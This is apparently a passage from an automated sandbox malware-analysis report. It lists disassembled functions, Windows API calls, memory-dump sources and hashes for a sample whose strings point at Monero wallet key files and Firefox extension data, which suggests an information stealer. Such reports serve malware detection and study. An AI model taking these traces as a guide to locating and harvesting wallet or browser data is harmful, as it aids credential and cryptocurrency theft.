VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CABC969
GetSystemInfo.KERNEL32(?), ref: 6CABC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CABC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CABC9E2

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 44b794740409505db11df90ac17ef430f5b4746b9b2ef7e9aeaced43e58694a7
Instruction ID: a539c120927b071af9feed3a9a137362f21c0bd204452608f2bcd075cc662378
Opcode Fuzzy Hash: 44b794740409505db11df90ac17ef430f5b4746b9b2ef7e9aeaced43e58694a7
Instruction Fuzzy Hash: DC21F9317412286BEB14AA69DC84FBE73BDBB46748F50051EF903B7A40DB706C848791

Function 00B07E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B07E37
RtlAllocateHeap.NTDLL(00000000), ref: 00B07E3E
RegOpenKeyExA.KERNEL32(80000002,0075BC88,00000000,00020119,?), ref: 00B07E5E
RegQueryValueExA.KERNEL32(?,0076D188,00000000,00000000,000000FF,000000FF), ref: 00B07E7F
RegCloseKey.ADVAPI32(?), ref: 00B07E92

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 5a6b6e49d84f991543543a7f9e237a91a41ed691f8be16217321bebe1b068287
Instruction ID: 3de29bb52b8e7a7496b456826006091ab5d7f1dc8ba854707393b730951e9906
Opcode Fuzzy Hash: 5a6b6e49d84f991543543a7f9e237a91a41ed691f8be16217321bebe1b068287
Instruction Fuzzy Hash: 49113AB1A44305ABD700DB98DD89FBBFBBCEB04B10F104199F605E7280DBB468018BA1

Function 00AF12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00AF12B4
RtlAllocateHeap.NTDLL(00000000), ref: 00AF12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00AF12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00AF12F5
RegCloseKey.ADVAPI32(?), ref: 00AF12FF

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: ca34fe320c6ebbf797b39a334bff76bf78090d6bc24b9d6717e0af2969ff714b
Instruction ID: 0d592c7d2fbdbe2f244f57aae2ffecbff27bbb515bdf8915930090900ebe9779
Opcode Fuzzy Hash: ca34fe320c6ebbf797b39a334bff76bf78090d6bc24b9d6717e0af2969ff714b
Instruction Fuzzy Hash: 6A01E1B9B40308BBDB04DFE4DC89FAEB7B8EB48701F108159FA45D7280D6759A058FA1

Function 00AFA0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00768988,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 00AFA0BD
LoadLibraryA.KERNEL32(00756218), ref: 00AFA146

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A820: lstrlen.KERNEL32(00AF4F05,?,?,00AF4F05,00B10DDE), ref: 00B0A82B
Part of subcall function 00B0A820: lstrcpy.KERNEL32(00B10DDE,00000000), ref: 00B0A885

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

SetEnvironmentVariableA.KERNEL32(00768988,00000000,00000000,?,00B112D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00B10AFE), ref: 00AFA132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 00AFA0B2, 00AFA0C6, 00AFA0DC

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1193256905
Opcode ID: 007b31bd9aad4b315f81ee632dac6be22c8ecaa76d3780f76b4d0c87f363bdc4
Instruction ID: 85bae0541048161904d5d90e271934c325f48a74a07151d13e85c1e3df09c1ab
Opcode Fuzzy Hash: 007b31bd9aad4b315f81ee632dac6be22c8ecaa76d3780f76b4d0c87f363bdc4
Instruction Fuzzy Hash: 45412AB1A01708AFCB44DFA8ED96AEE37B4BB18301F144519F685E23A0DB359944CB73

Function 00AFA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B08B60: GetSystemTime.KERNEL32(00B10E1A,0076D9F0,00B105AE,?,?,00AF13F9,?,0000001A,00B10E1A,00000000,?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B08B86

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00AFA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 00AFA3FF
lstrlen.KERNEL32(00000000), ref: 00AFA6BC

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

DeleteFileA.KERNEL32(00000000), ref: 00AFA743

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: d131628fac4ffceed9f6408bfb334b4f61f91fa1d3893047eaf593a3aa6abaec
Instruction ID: be7c1942782c9de2d2e0e66ee7eaf5b175e2bd4dec54efc5f847d9fe122ec98b
Opcode Fuzzy Hash: d131628fac4ffceed9f6408bfb334b4f61f91fa1d3893047eaf593a3aa6abaec
Instruction Fuzzy Hash: CEE1EE729103089ADB04FBA4DD96EEE777CAF24300F508999F516B60D1EF346A49CB72

Function 00AFD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B08B60: GetSystemTime.KERNEL32(00B10E1A,0076D9F0,00B105AE,?,?,00AF13F9,?,0000001A,00B10E1A,00000000,?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B08B86

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00AFD801
lstrlen.KERNEL32(00000000), ref: 00AFD99F
lstrlen.KERNEL32(00000000), ref: 00AFD9B3
DeleteFileA.KERNEL32(00000000), ref: 00AFDA32

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: c0e498b52da208497f6e38970cc94655cf28bd33e724eded6e70afe95e672201
Instruction ID: c5b6229beb62f28491e779f1f267d7c345ae5c30057edd17b6020258a933e4d1
Opcode Fuzzy Hash: c0e498b52da208497f6e38970cc94655cf28bd33e724eded6e70afe95e672201
Instruction Fuzzy Hash: 3281E0729103089BDB04FBA4DD96EEE77B8AF54300F508999F507B61D1EF346A09CB62

Function 00AFF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B0A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B0A7E6

Part of subcall function 00AF99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00AF99EC
Part of subcall function 00AF99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00AF9A11
Part of subcall function 00AF99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00AF9A31
Part of subcall function 00AF99C0: ReadFile.KERNEL32(000000FF,?,00000000,00AF148F,00000000), ref: 00AF9A5A
Part of subcall function 00AF99C0: LocalFree.KERNEL32(00AF148F), ref: 00AF9A90
Part of subcall function 00AF99C0: CloseHandle.KERNEL32(000000FF), ref: 00AF9A9A

Part of subcall function 00B08E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00B08E52

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B0A9B0: lstrlen.KERNEL32(?,00768A98,?,\Monero\wallet.keys,00B10E17), ref: 00B0A9C5
Part of subcall function 00B0A9B0: lstrcpy.KERNEL32(00000000), ref: 00B0AA04
Part of subcall function 00B0A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B0AA12

Part of subcall function 00B0A8A0: lstrcpy.KERNEL32(?,00B10E17), ref: 00B0A905

Part of subcall function 00B0A920: lstrcpy.KERNEL32(00000000,?), ref: 00B0A972
Part of subcall function 00B0A920: lstrcat.KERNEL32(00000000), ref: 00B0A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00B11580,00B10D92), ref: 00AFF54C
lstrlen.KERNEL32(00000000), ref: 00AFF56B

Strings

moz-extension+++, xrefs: 00AFF5AD
^userContextId=4294967295, xrefs: 00AFF59C

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 2219c9212e6fd58ee092f03653559e466f81e08e66c19abefc1fc969892f365a
Instruction ID: 90640c1d464c8b0f310f2eb5dc2302ebf4ef4918a109bedf83ce817c5acd25b3
Opcode Fuzzy Hash: 2219c9212e6fd58ee092f03653559e466f81e08e66c19abefc1fc969892f365a
Instruction Fuzzy Hash: CB51F371D103089ADB04FBA4DC96DED77B9AF54300F50C9A8F516A71D1EF34AA09CBA2

Function 00AF9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

